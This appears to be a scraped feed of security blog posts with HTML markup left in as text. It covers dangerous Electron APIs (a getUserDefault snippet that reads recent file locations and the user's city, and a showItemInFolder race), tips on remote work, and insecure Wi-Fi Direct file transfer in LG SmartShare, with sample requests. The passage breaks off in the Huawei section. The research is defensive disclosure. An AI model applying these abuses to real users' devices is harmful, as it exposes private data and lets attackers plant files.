class that provides a programmatic interface for interacting with the defaults system. This code class=language-plaintext highlighter-rougesystemPreferences/code method can be abused to return the Application’s or Global’s Preferences. An attacker may abuse the API to retrieve sensitive information including the user’s location and filesystem resources. As a matter of demonstration, code class=language-plaintext highlighter-rougegetUserDefault/code can be used to obtain personal details of the targeted application user:/p ul liUser’s most recent locations on the file system div class=language-js highlighter-rougediv class=highlightpre class=highlightcodespan class=ogt;/span span class=nxNative/spanspan class=p./spanspan class=nxsystemPreferences/spanspan class=p./spanspan class=nxgetUserDefault/spanspan class=p(/spanspan class=dl/spanspan class=s2NSNavRecentPlaces/spanspan class=dl/spanspan class=p,/spanspan class=dl/spanspan class=s2array/spanspan class=dl/spanspan class=p)/span span class=p(/spanspan class=mi5/spanspan class=p)/span span class=p[/spanspan class=dl/spanspan class=s2/tmp/secretfile/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2/tmp/SecretResearch/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2~/Desktop/Cellar/NSA_files/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2/tmp/blog.doyensec.com/_posts/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2~/Desktop/Invoices/spanspan class=dl/spanspan class=p]/span /code/pre/div /div /li liUser’s selected geographic location div class=language-js highlighter-rougediv class=highlightpre class=highlightcodespan class=nxNative/spanspan class=p./spanspan class=nxsystemPreferences/spanspan class=p./spanspan class=nxgetUserDefault/spanspan class=p(/spanspan class=dl/spanspan class=s2com.apple.TimeZonePref.Last_Selected_City/spanspan class=dl/spanspan class=p,/spanspan class=dl/spanspan class=s2array/spanspan class=dl/spanspan class=p)/span span class=p(/spanspan class=mi10/spanspan class=p)/span span class=p[/spanspan class=dl/spanspan class=s248.40311/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s211.74905/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s20/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2Europe/Berlin/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2DE/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2Freising/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2Germany/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2Freising/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2Germany/spanspan class=dl/spanspan class=p,/span span class=dl/spanspan class=s2DEPRECATED IN 10.6/spanspan class=dl/spanspan class=p]/span /code/pre/div /div /li /ul pComplementarily, the code class=language-plaintext highlighter-rougesetUserDefault/code method can be weaponized to set User’s Default for the Application Preferences related to the target application. Before Electron v8.3.0 a href=https://github.com/electron/electron/issues/17031[1]/a, a href=https://github.com/electron/electron/pull/23412/commits/4ae4537255349440ea8d69a604eb7d0c1b67ea24[2]/a these methods can only get or set code class=language-plaintext highlighter-rougeNSUserDefaults/code keys in the a href=https://developer.apple.com/documentation/foundation/nsuserdefaults/1416603-standarduserdefaults?language=objcstandard suite/a./p h2 id=shellshowiteminfolderShell.showItemInFolder/h2 pA subtle example of a potentially dangerous native Electron primitive is code class=language-plaintext highlighter-rougeshell.showItemInFolder/code. As the name suggests, this API shows the given file in a file manager./p div style=text-align: center; img src=../../../public/images/showItemInFolder.png title=shell.showItemInFolder alt=shell.showItemInFolder align=center style=display: block; margin-left: auto; margin-right: auto; width: 800px; / /div pSuch seemingly innocuous functionality hides some peculiarities that could be dangerous from a security perspective./p pOn Linux (a href=https://github.com/electron/electron/blob/602913cb4c98d102548e082c97401415849fe082/shell/common/platform_util_linux.cc#L80-L86code class=language-plaintext highlighter-rouge/shell/common/platform_util_linux.cc/code/a), Electron extracts the parent directory name, checks if the resulting path is actually a directory and then uses XDGOpen (code class=language-plaintext highlighter-rougexdg-open/code) to show the file in its location:/p div class=language-c++ highlighter-rougediv class=highlightpre class=highlightcodespan class=ktvoid/span span class=nfShowItemInFolder/spanspan class=p(/spanspan class=kconst/span span class=nbase/spanspan class=o::/spanspan class=nFilePath/spanspan class=oamp;/span span class=nfull_path/spanspan class=p)/span span class=p{/span span class=nbase/spanspan class=o::/spanspan class=nFilePath/span span class=ndir/span span class=o=/span span class=nfull_path/spanspan class=p./spanspan class=nDirName/spanspan class=p();/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nbase/spanspan class=o::/spanspan class=nDirectoryExists/spanspan class=p(/spanspan class=ndir/spanspan class=p))/span span class=kreturn/spanspan class=p;/span span class=nXDGOpen/spanspan class=p(/spanspan class=ndir/spanspan class=p./spanspan class=nvalue/spanspan class=p(),/span span class=nbfalse/spanspan class=p,/span span class=nplatform_util/spanspan class=o::/spanspan class=nOpenCallback/spanspan class=p());/span span class=p}/span /code/pre/div/div pcode class=language-plaintext highlighter-rougexdg-open/code can be leveraged for executing applications on the victim’s computer./p blockquote p“If a file is provided the file will be opened in the preferred application for files of that type” (https://linux.die.net/man/1/xdg-open)/p /blockquote pBecause of the inherited time of check time of use (TOCTOU) condition caused by the time difference between the directory existence check and its launch with code class=language-plaintext highlighter-rougexdg-open/code, an attacker could run an executable of choice by replacing the folder path with an arbitrary file, winning the race introduced by the check. While this issue is rather tricky to be exploited in the context of an insecure Electron’s renderer, it is certainly a potential step in a more complex vulnerabilities chain./p pOn Windows (a href=https://github.com/electron/electron/blob/602913cb4c98d102548e082c97401415849fe082/shell/common/platform_util_win.cc#L254-L300code class=language-plaintext highlighter-rouge/shell/common/platform_util_win.cc/code/a), the situation is even more tricky:/p div class=language-c++ highlighter-rougediv class=highlightpre class=highlightcodespan class=ktvoid/span span class=nfShowItemInFolderOnWorkerThread/spanspan class=p(/spanspan class=kconst/span span class=nbase/spanspan class=o::/spanspan class=nFilePath/spanspan class=oamp;/span span class=nfull_path/spanspan class=p)/span span class=p{/span span class=p.../span span class=nbase/spanspan class=o::/spanspan class=nwin/spanspan class=o::/spanspan class=nScopedCoMem/spanspan class=olt;/spanspan class=nITEMIDLIST/spanspan class=ogt;/span span class=ndir_item/spanspan class=p;/span span class=nhr/span span class=o=/span span class=ndesktop/spanspan class=o-gt;/spanspan class=nParseDisplayName/spanspan class=p(/spanspan class=nbNULL/spanspan class=p,/span span class=nbNULL/spanspan class=p,/span span class=kconst_cast/spanspan class=olt;/spanspan class=ktwchar_t/spanspan class=o*gt;/spanspan class=p(/spanspan class=ndir/spanspan class=p./spanspan class=nvalue/spanspan class=p()./spanspan class=nc_str/spanspan class=p()),/span span class=nbNULL/spanspan class=p,/span span class=oamp;/spanspan class=ndir_item/spanspan class=p,/span span class=nbNULL/spanspan class=p);/span span class=kconst/span span class=nITEMIDLIST/spanspan class=o*/span span class=nhighlight/spanspan class=p[]/span span class=o=/span span class=p{/spanspan class=nfile_item/spanspan class=p};/span span class=nhr/span span class=o=/span span class=nSHOpenFolderAndSelectItems/spanspan class=p(/spanspan class=ndir_item/spanspan class=p,/span span class=nbase/spanspan class=o::/spanspan class=nsize/spanspan class=p(/spanspan class=nhighlight/spanspan class=p),/span span class=nhighlight/spanspan class=p,/span span class=nbNULL/spanspan class=p);/span span class=p.../span span class=kif/span span class=p(/spanspan class=nFAILED/spanspan class=p(/spanspan class=nhr/spanspan class=p))/span span class=p{/span span class=kif/span span class=p(/spanspan class=nhr/span span class=o==/span span class=nERROR_FILE_NOT_FOUND/spanspan class=p)/span span class=p{/span span class=nShellExecute/spanspan class=p(/spanspan class=nbNULL/spanspan class=p,/span span class=sLopen/spanspan class=p,/span span class=ndir/spanspan class=p./spanspan class=nvalue/spanspan class=p()./spanspan class=nc_str/spanspan class=p(),/span span class=nbNULL/spanspan class=p,/span span class=nbNULL/spanspan class=p,/span span class=nSW_SHOW/spanspan class=p);/span span class=p}/span span class=kelse/span span class=p{/span span class=nLOG/spanspan class=p(/spanspan class=nWARNING/spanspan class=p)/span span class=olt;lt;/span span class=s /span span class=olt;lt;/span span class=n__func__/span span class=olt;lt;/span span class=s(): Can't open full_path = /spanspan class=se\/spanspan class=s/span span class=olt;lt;/span span class=nfull_path/spanspan class=p./spanspan class=nvalue/spanspan class=p()/span span class=olt;lt;/span span class=s/spanspan class=se\/spanspan class=s/span span class=olt;lt;/span span class=s hr = /span span class=olt;lt;/span span class=nlogging/spanspan class=o::/spanspan class=nSystemErrorCodeToString/spanspan class=p(/spanspan class=nhr/spanspan class=p);/span span class=p}/span span class=p}/span span class=p}/span /code/pre/div/div pUnder normal circustances, the a href=https://docs.microsoft.com/en-us/windows/win32/api/shlobj_core/nf-shlobj_core-shopenfolderandselectitemscode class=language-plaintext highlighter-rougeSHOpenFolderAndSelectItems/code/a Windows API (from emshlobj_core.h/em) is used. However, Electron introduced a fall-back mechanism as the call mysteriously fails with a “file not found” exception on old Windows systems. In these cases, a href=https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shellexecuteacode class=language-plaintext highlighter-rougeShellExecute/code/a is used as a fallback, specifying “open” as the code class=language-plaintext highlighter-rougelpVerb/code parameter. According to the a href=https://docs.microsoft.com/en-us/windows/win32/shell/launch#object-verbsWindows Shell documentation/a, the “open” object verb launches the specified file or application. If this file is not an executable file, its associated application is launched./p pWhile the exploitability of these quirks is up to discussions, these examples showcase how innoucous APIs might introduce OS-dependent security risks. In fact, a href=https://chromium-review.googlesource.com/c/chromium/src/+/1905947Chromium has refactored/a the code in question to avoid the use of code class=language-plaintext highlighter-rougexdg-open/code altogether and leverage code class=language-plaintext highlighter-rougedbus/code instead./p hr / pThe Electron APIs illustrated in this blog post are strongjust a few notable examples/strong of potentially dangerous primitives that are available in the framework. As Electron will become more and more integrated with all supported operating systems, we expect this list to increase over time. As we often repeat, strongknow your framework (and its limitations)/strong and adopt defense in depth mechanisms to mitigate such deficiencies./p pAs a company, we will continue to devote our a href=https://doyensec.com/research.html25% research time/a to secure the ElectronJS ecosystem and improve a href=https://github.com/doyensec/electronegativityElectronegativity/a./p

Psychology of Remote Work

16 December 2020 at 23:00
blockquote pThis is the first in a series of non-technical blog posts aiming at discussing the opportunities and challenges that arise when running a small information security consulting company. After all, day to day life at Doyensec is not only about computers and stories of breaking bits./p /blockquote pThe pandemic has deeply affected standard office work and forced us to immediately change our habits. In all probability, no one could have predicted that suddenly the office was going to be “moved”, and the new location is a living room. Remote work has been a hot topic for many years, however the current situation has certainly accelerated the adoption and forced companies to make a change./p pAt Doyensec, we’ve been a 100% remote company since day one. In this blog post, we’d like to present our best practices and also list some of the myths which surround the idea of remote work. This article is based on our personal experience and will hopefully help the reader to work at home more efficiently. There are no magic recipes here, just a collection of things that work for us./p h3 id=5-standard-rules-we-follow-and-7-myths-that-we-believe-are-false5 standard rules we follow and 7 myths that we believe are false/h3 div style=text-align: center; img src=../../../public/images/obrazek.jpg title=obrazek alt=obrazek align=center style=display: block; margin-left: auto; margin-right: auto; / /div h3 id=five-golden-rulesFive Golden Rules/h3 h4 id=1-work-separated-from-the-home-zone1. “Work” separated from the “Home” zone/h4 pThe most effective solution is to work in a separate and dedicated room, which automatically becomes your office. It is important to physically separate somehow the workplace from the rest of the house, e.g. a screen, small bookcase or curtain. The worst thing you can do is work on the couch or bed where you usually rest. We try not to review source code from the place where we normally eat snacks, or debug an application in the same place we sleep. If possible, work at a desk. It will also be easier for you to mobilize yourself for a specific activity. Also, make sure that your household, especially your young children, do not play in your “office area”. It will be best if this “home office space” belongs exclusively to you./p h4 id=2-the-importance-of-a-workplace2. The importance of a workplace/h4 pPrepare a desk with adequate lighting and a comfortable chair. We emphasize the need for a functional, ergonomic chair, and not simply an armchair. It’s about working effectively. The time to relax will come later. Arrange everything so that you work with ease. Notebooks and other materials should be tidied up on the desk and kept neat. This will be a clear, distinguishing feature of the work place. Family members should know that this is a work area from the way it looks. It will be easier for them to get used to the fact that instead of “going to work,” work related responsibilities will be performed at home. Also, this setup gives an opportunity to make security testing more efficient - for example by setting up bigger screens and ready to use testing equipment./p h4 id=3-control-your-time-establish-a-routine3. Control your time (establish a routine)/h4 pA flexible working time can be treacherous. There are times when an eight hour working day is sufficient to complete an important project. On the other hand, there are situations where various distractions can take attention away from an assigned task. In order to avoid this type of scenario, fixed working hours must be established. For example, some Doyensec employees use a href=https://apps.apple.com/us/app/be-focused-focus-timer/id973130201BeFocused/a and a href=https://timingapp.com/?lang=enTiming/a apps to regulate their time. Intuitive and user friendly applications will help you balance your private and professional life and will also remind you when it’s time to take a break. Working long hours with no breaks is the main source of burnout./p h4 id=4-find-excuses-to-leave-your-house-vary-the-routine4. Find excuses to leave your house (vary the routine)/h4 pTraditional work is usually based on a structured day spent in an office environment. The day is organized into work sessions and breaks. When working at home, on the other hand, time must be allotted for non-work related responsibilities on a more subjective basis. It is important for the routine to be elastic enough to include breaks for everything from physical activity (walks) to shopping (groceries) and social interaction. Leaving the house regularly is very beneficial. A break will bring on a refreshed perspective. The current pandemic is obviously the reason why people spend more time inside. Outside physical activities are very important to keep our minds fresh and a set of new endorphins is always welcome. As proof of evidence, our best bugs are usually discovered after a run or a walk outside!/p h4 id=5-avoid-distractions5. Avoid distractions/h4 pWhile this sounds like simple and intuitive advice, avoiding distractions is actually really difficult! In general it’s good to turn off notifications on your computer or phone, especially while working. We trust our people and they don’t have to be immediately 100% reachable when working. As long as our consultants provide updates and results when needed, it is perfectly fine to shutdown email and other communication channels. Depending on personal preference, some individuals require complete silence, while others can accomplish their work while listening to music. If you belong to that category of people who cannot work in absolute silence and normal music levels are too intense, consider using a href=https://www.youtube.com/watch?v=yLOM8R6lbzgwhite noise/a. There are applications available that you can use to create a neutral soundtrack that helps you to concentrate. You can easily follow our recommendation on strongSpotify/strong: a href=https://open.spotify.com/user/spotify/playlist/37i9dQZF1DWZeKCadgRdKQ?si=WT4TRMiBSC2txtZbyzg82Asomething calm/a, a href=https://open.spotify.com/user/spotify/playlist/37i9dQZF1DWV7EzJMK2FUI?si=xf7hCOslTDmLspG29G8dDAmaybe jazz style/a or a href=https://open.spotify.com/user/spotify/playlist/37i9dQZF1DWXUpC6mczRpA?si=5SgZ-9_zT4yX-fURma50YQclassy/a./p div style=text-align: center; img src=../../../public/images/factmyth.jpg title=FactMyth alt=FactMyth align=center style=display: block; margin-left: auto; margin-right: auto; width: 50% / /div h3 id=seven-mythsSeven Myths/h3 pLet’s now talk about some myths related to remote work:/p h4 id=1-remote-employees-have-no-control-over-projects1. Remote employees have no control over projects/h4 pAt Doyensec, we have successfully delivered hundreds of projects that were done exclusively remotely. If we are delivering a small project, we usually allocate one security researcher who is able to start the project from scratch and deliver a high quality deliverable, but sometimes we have 2-3 consultants working on the same engagement and the outcome is of the same quality. Most of our communication goes through (a href=https://gpgtools.org/PGP-encrypted/a) emails. An instant messenger can help a great deal when answers are needed quickly. The real challenge is in hiring the right people who can control the project regardless of their physical location. While employing people for our company, we look at both technical and project management skills. According to Jason Fried and Davis Heinemeier Hansson, 37 Signal co-founders, you shouldn’t hire people you don’t trust (a href=https://www.amazon.com/Remote-Office-Required-Jason-Fried/dp/0804137501Remote/a). We totally agree with this statement./p h4 id=2-remote-employees-cannot-learn-from-colleagues2. Remote employees cannot learn from colleagues/h4 pThe obvious fact is that it is easier to learn when a colleague is physically in the same office and not on the other side of the screen, but we have learned to deal with this problem. Part of our organizational culture is a “screen sharing session” where two people working on the same project analyze source code and look for vulnerabilities together. During our weekly meetings, we also organize a session called “best bugs” where we all share the most interesting findings from a given week./p h4 id=3-remote-work--lack-of-work--life-balance3. Remote work = lack of work amp; life balance?/h4 pIf a person is not able to organize his/her work day properly, it is easy to drag out the work day from early in the morning to midnight instead of completing everything within the expected eight hours. Self discipline and iterative improvements are the key solutions for an effective day. Work/life balance is important, but who said that forcing a 9am-5pm schedule is the best way to work? Wouldn’t it be better to visit a grocery store or a gym in the middle of the day when no one is around and finish work in the evening?/p h4 id=4-employees-not-under-control4. Employees not under control/h4 pHealthy remote companies rely on trust. If they didn’t then they wouldn’t offer remote work opportunities in the first place. People working at home carry out their duties like everyone else. In fact, planning activities such as gym-workouts, family time, and hobbies is much easier thanks to the flexible schedule. You can freely organize your work day around important family matters or other responsibilities if necessary./p pCompanies should be focused on having better hiring processes and ensuring long-term retention instead of being over concerned about the risk of “remote slacking”. In fact, our experience in the past four years would actually suggest that it is more challenging to ensure a healthy work/life balance since our researchers are sufficiently motivated and love what they do./p h4 id=5-remote-work-means-working-outside-the-employers-office5. Remote work means working outside the employer’s office/h4 pIt should be understood that not all remote work is the same. If you work in customer service and receive regular calls from customers, for example, you might be working from a confined space in a separate room at home. Remote work means working outside the employer’s office. It can mean working in a co-working space, cafeteria, hotel or any other place where you have a good Internet connection./p h4 id=6-remote-work-is-lonely6. Remote work is lonely/h4 pThis one is a bit tricky since it’s technically true and false. It’s true that you usually sit at home and work alone, but in our security work we’re constantly exchanging information via e-mails, a href=https://mattermost.com/Mattermost/a, a href=https://signal.org/en/Signal/a, etc. We also have a href=https://hangouts.google.com/Hangouts/a video meetings where we can sync up. If someone feels personally isolated, we always recommend signing up for some activities like a gym, book club or other options where like-minded people associate. Lonely individuals are less productive over the long run. Compared to the traditional office model, remote work requires looking for friends and colleagues outside the company - which isn’t a bad thing after all./p h4 id=7-remote-work-is-for-everyone7. Remote work is for everyone/h4 pWe strongly believe that there are people who will still prefer an onsite job. Some individuals need constant contact with others. They also prefer the standard 9am-5pm work schedule. There is nothing wrong with that. People that are working remotely have to make more decisions on their own and need stronger self-discipline. Since they are unable to engage in direct consultation with co-workers, a reduction of direct communication occurs. Nevertheless, remote work will become something “normal” for an increasing number of people, especially for the Y and Z generation./p

Novel Abuses On Wi-Fi Direct Mobile File Transfers

9 December 2020 at 23:00
style.novel-abuses-on-wi-fi-direct-mobile-file-transfers li {list-style-type: decimal;} .novel-abuses-on-wi-fi-direct-mobile-file-transfers #markdown-tocli, .novel-abuses-on-wi-fi-direct-mobile-file-transfers #markdown-tocliulli { list-style-type: lower-roman; } .novel-abuses-on-wi-fi-direct-mobile-file-transfers #markdown-tocliul { margin-bottom: 0rem;} .dot { width: 22px;background-color: #ffd965;border-radius: 50%;display: inline-table;font-weight: bold;text-align:center;}/style pThe a href=https://www.wi-fi.org/discover-wi-fi/wi-fi-directWi-Fi Direct/a specification (a.k.a. “peer-to-peer” or “P2P” Wi-Fi) turned 10 years old this past April. This 802.11 extension has been available a href=https://developer.android.com/guide/topics/connectivity/wifip2psince Android 4.0/a through a dedicated API that interfaces with a devices’ built-in hardware which directly connects to each other via Wi-Fi without an intermediate access point. Multiple mobile vendors and early adopters of this technology quickly leveraged the standard to provide their products with a fast and reliable file transfer solution./p pAfter almost a decade, stronga huge majority of mobile OEMs still rely on custom locked-in implementations for file transfer/strong, even if a href=https://www.xda-developers.com/oneplus-realme-black-shark-meizu-join-xiaomi-oppo-vivo-file-transfer-alliance/large cross-vendors alliances/a (e.g. the em“Peer-to-Peer Transmission Alliance”/em) and big players like a href=https://www.xda-developers.com/android-nearby-share-file-sharing-chrome-os-windows-macos-linux-chrome/Google/a (with the recent em“Nearby Share”/em feature) are moving to change this in the near future./p div style=text-align: center; a href=https://xkcd.com/949/ target=_blank rel=noopener noreferrerimg src=../../../public/images/file_transfer.png title=Every time you email a file to yourself so you can pull it up on your friend's laptop, Tim Berners-Lee sheds a single tear. align=center style=display: block; margin-left: auto; margin-right: auto; max-width: 60%; //a /div pDuring our research, three popular P2P file transfer implementations were studied (namely emHuawei Share/em, emLG SmartShare Beam/em, emXiaomi Mi Share/em) and strongall of them were found to be vulnerable due to an insecure shared design/strong. While some groundbreaking research work attacking the protocol layer has already been presented by a href=https://www.youtube.com/watch?v=HukhsrYlrAoAndrés Blanco during Black Hat EU 2018/a, we decided to focus on the application layer of this particular class of custom UPnP service./p pThis blog post will cover the following topics:/p ul id=markdown-toc lia href=#a-recurrent-design-pattern id=markdown-toc-a-recurrent-design-patternA Recurrent Design Pattern/a/li lia href=#lg-smartshare-beam id=markdown-toc-lg-smartshare-beamLG SmartShare Beam/a ul lia href=#what-could-go-wrong id=markdown-toc-what-could-go-wrongWhat could go wrong?/a/li /ul /li lia href=#huawei-share id=markdown-toc-huawei-shareHuawei Share/a ul lia href=#abusing-ftsftc-crashes id=markdown-toc-abusing-ftsftc-crashesAbusing FTS/FTC Crashes/a/li /ul /li lia href=#xiaomi-mi-share id=markdown-toc-xiaomi-mi-shareXiaomi Mi Share/a/li lia href=#conclusions id=markdown-toc-conclusionsConclusions/a/li /ul hr / h3 id=a-recurrent-design-patternA Recurrent Design Pattern/h3 pOn the majority of OEMs solutions, mobile file transfer applications will spawn two servers:/p ul liA emFile Transfer Controller or Client strong(FTC)/strong/em, that will manage the majority of the pairing and transfer control flow/li liA emFile Transfer Server strong(FTS)/strong/em, that will check a session’s validity and serve the intended shared file/li /ul pThese two services are used for device discovery, pairing and sessions, authorization requests, and file transport functions. Usually they are implemented as classes of a shared parent application which orchestrate the entire transfer. These components are responsible for:/p ol liCreating the Wi-Fi Direct network/li liUsing the standard a href=http://upnp.org/resources/documents/UPnP_UDA_tutorial_July2014.pdfUPnP phases/a to announce the device, the file service description (code class=language-plaintext highlighter-rouge/description.xml/code), and events subscription/li liIssuing a UPnP remote procedure call to create a transfer request with another peer/li liUpon acceptance from the recipient, uploading the target file through an HTTP POST/PUT request to a defined location/li /ol pAn important consideration for the following abuses is that after a P2P Wi-Fi connection is established, its network interface (code class=language-plaintext highlighter-rougep2p-wlan0-0/code) a href=https://developer.android.com/reference/java/net/NetworkInterfaceis available/a to every application running on the user’s device having code class=language-plaintext highlighter-rougeandroid.permission.INTERNET/code. Because of this, stronglocal apps can interact with the FTS and FTC services spawned by the file sharing applications on the local or remote device clients, opening the door to a multitude of attacks./strong/p hr / h2 id=lg-smartshare-beamLG SmartShare Beam/h2 pSmartshare is a stock LG solution to connect their phones to other devices using Wi-Fi (DLNA, Miracast) or Bluetooth (A2DP, OPP). The emBeam/em feature is used for file transfer among LG devices./p div style=text-align: center; video poster=../../../public/images/LGSmartShare.jpg src=../../../public/images/LGSmartShare.mp4 title=SmartShare Product Overview autoplay= muted= loop=true playsinline= align=center style=max-width: 80%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;/video /div pJust like other similar applications, an FTS ( code class=language-plaintext highlighter-rougeFileTransferTransmitter/code in code class=language-plaintext highlighter-rougecom.lge.wfds.service.send.tx/code) and an FTC (code class=language-plaintext highlighter-rougeFileTransferReceiver/code in code class=language-plaintext highlighter-rougecom.lge.wfds.service.send.rx/code) are spawned and listening on ports code class=language-plaintext highlighter-rouge54003/code and code class=language-plaintext highlighter-rouge55003/code./p pAs a way of example, the following HTTP requests demonstrate the FTC and the FTS in action whenever a file transfer session between two parties is requested. First, the FTS performs a code class=language-plaintext highlighter-rougeCreateSendSession/code SOAP action:/p div class=language-xml highlighter-rougediv class=highlightpre class=highlightcodePOST /FileTransfer/control.xml HTTP/1.1 Connection: Keep-Alive HOST: 192.168.49.1:55003 Content-Type: text/xml; charset=utf-8 Content-Length: 1025 SOAPACTION: urn:schemas-wifialliance-org:service:FileTransfer:1#CreateSendSession span class=cplt;?xml version=1.0 encoding=UTF-8?gt;/span span class=ntlt;s:Envelope/span span class=naxmlns:s=/spanspan class=shttp://schemas.xmlsoap.org/soap/envelope//span span class=nas:encodingStyle=/spanspan class=shttp://schemas.xmlsoap.org/soap/encoding//spanspan class=ntgt;/span span class=ntlt;s:Bodygt;/span span class=ntlt;u:CreateSendSession/span span class=naxmlns:u=/spanspan class=surn:schemas-wifialliance-org:service:FileTransfer:1/spanspan class=ntgt;/span span class=ntlt;Transmittergt;/spanDoyensec LG G6 Phonespan class=ntlt;/Transmittergt;/span span class=ntlt;SessionInformationgt;/spanspan class=niamp;lt;/span?xml version=span class=niamp;quot;/span1.0span class=niamp;quot;/span encoding=span class=niamp;quot;/spanUTF-8span class=niamp;quot;/span?span class=niamp;gt;amp;lt;/spanMetaInfo xmlns=span class=niamp;quot;/spanurn:wfa:filetransferspan class=niamp;quot;/span xmlns:xsd=span class=niamp;quot;/spanhttp://www.w3.org/2001/XMLSchemaspan class=niamp;quot;/span xmlns:xsi=span class=niamp;quot;/spanhttp://www.w3.org/2001/XMLSchema-instancespan class=niamp;quot;/span xsi:schemaLocation=span class=niamp;quot;/spanurn:wfa:filetransfer http://www.wi-fi.org/specifications/wifidirectservices/filetransfer.xsdspan class=niamp;quot;amp;gt;amp;lt;/spanNotespan class=niamp;gt;/span1 and 4292012bytes File Transferspan class=niamp;lt;/span/Notespan class=niamp;gt;amp;lt;/spanSizespan class=niamp;gt;/span4292012span class=niamp;lt;/span/Sizespan class=niamp;gt;amp;lt;/spanNoofItemsspan class=niamp;gt;/span1span class=niamp;lt;/span/NoofItemsspan class=niamp;gt;amp;lt;/spanItemspan class=niamp;gt;amp;lt;/spanNamespan class=niamp;gt;/spanCuteCat.jpgspan class=niamp;lt;/span/Namespan class=niamp;gt;amp;lt;/spanSizespan class=niamp;gt;/span4292012span class=niamp;lt;/span/Sizespan class=niamp;gt;amp;lt;/spanTypespan class=niamp;gt;/spanimage/jpegspan class=niamp;lt;/span/Typespan class=niamp;gt;amp;lt;/span/Itemspan class=niamp;gt;amp;lt;/span/MetaInfospan class=niamp;gt;/span span class=ntlt;/SessionInformationgt;/span span class=ntlt;/u:CreateSendSessiongt;/span span class=ntlt;/s:Bodygt;/span span class=ntlt;/s:Envelopegt;/span /code/pre/div/div pThe code class=language-plaintext highlighter-rougeSessionInformation/code node embeds an entity-escaped standard Wi-Fi Alliance schema, a href=http://www.wi-fi.org/specifications/wifidirectservices/filetransfer.xsdurn:wfa:filetransfer/a, transmitting a emCuteCat.jpg/em picture. The file name (code class=language-plaintext highlighter-rougeMetaInfo/Item/Name/code) is displayed in the file transfer prompt to show to the final recipient the name of the transmitted file. By design, after the recipient’s confirmation, a code class=language-plaintext highlighter-rougeCreateSendSessionResponse/code SOAP response will be returned:/p div class=language-xml highlighter-rougediv class=highlightpre class=highlightcodeHTTP/1.1 200 OK Date: Sun, 01 Jun 2020 12:00:00 GMT Connection: Keep-Alive Content-Type: text/xml; charset=utf-8 Content-Length: 404 EXT: SERVER: UPnPServer/1.0 UPnP/1.0 Mobile/1.0 span class=cplt;?xml version=1.0 encoding=UTF-8?gt;/span span class=ntlt;s:Envelope/span span class=naxmlns:s=/spanspan class=shttp://schemas.xmlsoap.org/soap/envelope//span span class=nas:encodingStyle=/spanspan class=shttp://schemas.xmlsoap.org/soap/encoding//spanspan class=ntgt;/span span class=ntlt;s:Bodygt;/span span class=ntlt;u:CreateSendSessionResponse/span span class=naxmlns:u=/spanspan class=surn:schemas-wifialliance-org:service:FileTransfer:1/spanspan class=ntgt;/span span class=ntlt;SendSessionIDgt;/span33span class=ntlt;/SendSessionIDgt;/span span class=ntlt;TransportInfogt;/spantcp:55432span class=ntlt;/TransportInfogt;/span span class=ntlt;/u:CreateSendSessionResponsegt;/span span class=ntlt;/s:Bodygt;/span span class=ntlt;/s:Envelopegt;/span /code/pre/div/div pThis will contain the code class=language-plaintext highlighter-rougeTransportInfo/code destination port that will be used for the final transfer:/p div class=language-http highlighter-rougediv class=highlightpre class=highlightcodespan class=nfPUT/span span class=nn/CuteCat.jpeg/span span class=kHTTP/spanspan class=o//spanspan class=m1.1/span span class=naUser-Agent/spanspan class=p:/span span class=sLGMobile/span span class=naHost/spanspan class=p:/span span class=s192.168.49.1:55432/span span class=naContent-Length/spanspan class=p:/span span class=s4292012/span span class=naConnection/spanspan class=p:/span span class=sKeep-Alive/span span class=naContent-Type/spanspan class=p:/span span class=simage/jpeg/span .... .Exif..MM ...lt;redactedgt; /code/pre/div/div h3 id=what-could-go-wrongWhat could go wrong?/h3 pUnfortunately this design suffers many issues, such as:/p ul listrongA valid session ID isn’t required to finalize the transfer/strongbr / Once a code class=language-plaintext highlighter-rougeCreateSendSessionResponse/code is issued, no authentication is required to push a file to the opened RX port. Since the code class=language-plaintext highlighter-rougeDEFAULT_HTTPSERVER_PORT/code for the receiver is hardcoded to be code class=language-plaintext highlighter-rouge55432/code, any application running on the sender’s or recipient’s device can hijack the transfer and push an arbitrary file to the victim’s storage, just by issuing a valid code class=language-plaintext highlighter-rougePUT/code request. On top of that, the current Session IDs are easily guessable, since they are randomly chosen from a small pool (code class=language-plaintext highlighter-rougeWfdsUtil.randInt(1, 100)/code);/li listrongFile names and type can be arbitrarily changed by the sender/strongbr / Since the transferred file name is never checked to reflect the one initially prompted to the user, it is possible for an attacker to specify a different file name or type from the one initially shown just by changing the code class=language-plaintext highlighter-rougePUT/code request path to an arbitrary value./li listrongIt is possible to send multiple files at once without user confirmation/strongbr / Once the RX port (code class=language-plaintext highlighter-rougeDEFAULT_HTTPSERVER_PORT/code) is opened, it is possible for an attacker to send multiple files in a single transaction, without prompting any notification to the recipient./li /ul pBecause of the above design issues, any malicious third-party application installed on one of the peers’ devices may influence or take over any communication initiated by the legit LG SmartShare applications, potentially hijacking legit file transfers. A wormable malicious application could abuse this insecure design to flood the local or remote victim waiting for a file transfer, effectively propagating its malicious APK without user interaction required. An attacker could also abuse this design to implant arbitrary files or evidence on a victim’s device./p hr / h2 id=huawei-shareHuawei Share/h2 pHuawei Share is another file sharing solution included in Huawei’s EMUI operating system, supporting both Huawei terminals and those of its second brand, Honor./p div style=text-align: center; video poster=../../../public/images/HuaweiShare.jpg src=../../../public/images/HuaweiShare.mp4 title=Huawei Share Product Overview autoplay= muted= loop=true playsinline= align=center style=max-width: 80%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;/video /div pIn Huawei Share, an FTS (code class=language-plaintext highlighter-rougeFTSService/code in code class=language-plaintext highlighter-rougecom.huawei.android.wfdft.fts/code) and an FTC (code class=language-plaintext highlighter-rougeFTCService/code in code class=language-plaintext 